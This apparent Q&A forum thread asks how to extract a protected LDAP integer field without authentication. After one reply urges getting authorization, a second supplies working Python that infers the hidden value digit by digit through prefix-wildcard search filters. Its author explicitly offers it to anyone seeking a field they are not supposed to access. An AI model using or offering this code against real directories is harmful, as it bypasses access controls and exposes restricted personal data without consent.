Binary search of unaccesible data field in ldap from python

Question

I'm interested in reproducing a particular python script.

I have a friend who was accessing an ldap database, without authentication. There was a particular field of interest, we'll call it nin (an integer) for reference, and this field wasn't accessible without proper authentication. However, my friend managed to access this field through some sort of binary search (rather than just looping through integers) on the data; he would check the first digit, check if it was greater or less than the starting value, he would augment that until it returned a true value indicating existence, adding digits and continuing checking until he found the exact value of the integer nin.

Any ideas on how he went about this? I've access to a similarly set up database.

Answer 1

Your best bet would be to get authorization to access that field. You are circumventing the security of the database otherwise.

Answer 2

Figured it out. I just needed to filter on (&(cn=My name)(nin=guess*) and I managed to filter until it returns the correct result.

Code follows in case anyone else needs to find a field they aren't supposed to access, but can check results for and know the name of.

def lookup(self, username="", guess=0,verbose=0):
        guin = guess
        result_set = []
        varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
        result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
        while True:
            try:
                result_type, result_data = self.l.result(result_id, 0, 5.0)
                if (result_data == []):
                    break
                else:
                    if result_type == ldap.RES_SEARCH_ENTRY:
                        result_set.append(result_data)
            except ldap.TIMEOUT:
                return {"name": username}
        if len(result_set) == 0:
            return self.lookup(username, guin + 1,verbose)
        else:
            if guess < 1000000:
                return self.lookup(username, guess * 10,verbose)
            else:
                if verbose==1:
                    print "Bingo!",
                return str(guess)